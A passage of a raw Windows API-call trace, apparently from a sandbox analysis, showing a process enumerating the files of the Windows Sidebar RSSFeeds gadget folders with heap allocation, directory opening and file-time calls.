dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff018 [0080.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d400 [0080.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.829] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.829] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x271c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.html", cAlternateFileName="")) returned 1 [0080.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff038 [0080.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d508 [0080.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.831] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0080.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff058 [0080.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d610 [0080.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.832] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0080.832] GetLastError () returned 0x12 [0080.832] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.832] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.832] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.832] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d718 [0080.832] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.832] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.833] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.833] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.833] NtClose (Handle=0x178) returned 0x0 [0080.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122d718) returned 1 [0080.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d718 [0080.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d820 [0080.834] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0080.834] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.834] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0080.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d928 [0080.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff078 [0080.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122da30 [0080.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.836] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.css", cAlternateFileName="")) returned 1 [0080.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff098 [0080.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122db38 [0080.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.837] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0080.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff0b8 [0080.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122dc40 [0080.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.838] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0080.838] GetLastError () returned 0x12 [0080.838] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.839] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.839] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.839] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0080.839] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.css", cAlternateFileName="")) returned 1 [0080.839] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0080.839] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0080.839] GetLastError () returned 0x12 [0080.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122d820) returned 1 [0080.839] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122d928) returned 1 [0080.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122d718) returned 1 [0080.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x86a, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0080.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d718 [0080.840] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.840] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0080.840] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.840] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.841] NtClose (Handle=0x168) returned 0x0 [0080.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122d718) returned 1 [0080.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d718 [0080.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d928 [0080.841] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.842] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.842] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1aee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.js", cAlternateFileName="")) returned 1 [0080.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d820 [0080.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff0d8 [0080.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122dd48 [0080.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.843] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0080.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff0f8 [0080.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122de50 [0080.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.844] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 0 [0080.845] GetLastError () returned 0x12 [0080.845] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows 